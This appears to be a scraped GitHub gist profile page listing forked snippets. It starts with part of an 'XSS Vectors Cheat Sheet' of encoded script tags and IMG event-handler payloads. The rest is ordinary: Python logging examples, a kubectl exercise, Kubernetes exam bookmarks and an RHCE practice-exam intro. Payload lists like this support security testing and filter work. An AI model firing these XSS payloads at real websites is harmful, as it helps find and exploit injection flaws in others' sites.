Skip to content

Instantly share code, notes, and snippets.

View ankursingh2907's full-sized avatar

Ankur Singh ankursingh2907

View GitHub Profile
@ankursingh2907
ankursingh2907 / xss_vectors.txt
Created September 16, 2024 17:05 — forked from kurobeats/xss_vectors.txt
XSS Vectors Cheat Sheet
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">
@ankursingh2907
ankursingh2907 / logging_example.py
Created August 26, 2024 17:15 — forked from Huarong/logging_example.py
Python: an example of how to use logging module
def init_log(logname, filename, level=logging.DEBUG, console=True):
# make log file directory when not exist
directory = os.path.dirname(filename)
if not os.path.exists(directory):
os.makedirs(directory)
# set up logging to file - see previous section for more details
logging.basicConfig(level=level,
format='%(asctime)s %(name)-12s %(levelname)-8s %(message)s',
datefmt='%Y-%m-%d %H:%M',
@ankursingh2907
ankursingh2907 / logging_example.py
Created August 26, 2024 17:15 — forked from robdmc/logging_example.py
Python Logging Example
#! /usr/bin/env python
import logging
"""
I never remember all the steps for setting up logging in python.
This gist goes through the steps so I can copy and paste what I need.
"""
# create logger on the current module and set its level
logger = logging.getLogger(__file__)
@ankursingh2907
ankursingh2907 / python-logging.md
Created August 26, 2024 17:10 — forked from mariocj89/python-logging.md
Understanding logging in Python

Logging trees

Introduction

When applications are running in production, they become black boxes that need to be traced and monitored. One of the simplest, yet main, ways to do so is logging. Logging allows us - at the time we develop our software - to instruct the program to emit information while the system is running that will be useful for us and our sysadmins.

===========================================================================================

get contexts

alias k=kubectl
k config get-context
k config current-context
echo " k config current-context" > /opt/course/1/context_default_kubectl.sh
chmod +x /opt/course/1/context_default_kubectl.sh
bash /opt/course/1/context_default_kubectl.sh
cat .kube/config | grep current
@ankursingh2907
ankursingh2907 / CKAD.md
Created January 4, 2024 18:36 — forked from veggiemonk/CKAD.md
CKAD exam preparation
@ankursingh2907
ankursingh2907 / k8s-bookmarks-CKA-CKAD.html
Created January 4, 2024 18:15 — forked from Piotr1215/k8s-bookmarks-CKA-CKAD.html
K8s bookmarks for CKA, CKAD and CKS exams
<!DOCTYPE NETSCAPE-Bookmark-file-1>
<!-- This is an automatically generated file.
It will be read and overwritten.
DO NOT EDIT! -->
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=UTF-8">
<TITLE>Bookmarks</TITLE>
<H1>Bookmarks</H1>
<DL><p>
<DT><H3 ADD_DATE="1626629115" LAST_MODIFIED="1626629462" PERSONAL_TOOLBAR_FOLDER="true">Bookmarks bar</H3>
<DL><p>

Requirements

There are 18 questions in total. You will need five RHEL 8 (or CentOS 😎 virtual machines to be able to successfully complete all questions.

Optional Automatic Exam Setup Available

Here is an automated exam environment deployment for Mac/Linux/Windows that deploys the practice exam environment for you, including IPA server/client installation and configuration. You can also use your own lab environment. Navigate to the respective repo you wish to use for this practice exam and follow the README instructions:

https://github.com/rdbreak/rhce8env, https://github.com/rdbreak/ansible27env, https://github.com/rdbreak/ansible8env.

@ankursingh2907
ankursingh2907 / bash_strict_mode.md
Created May 9, 2023 19:52 — forked from mohanpedala/bash_strict_mode.md
set -e, -u, -o, -x pipefail explanation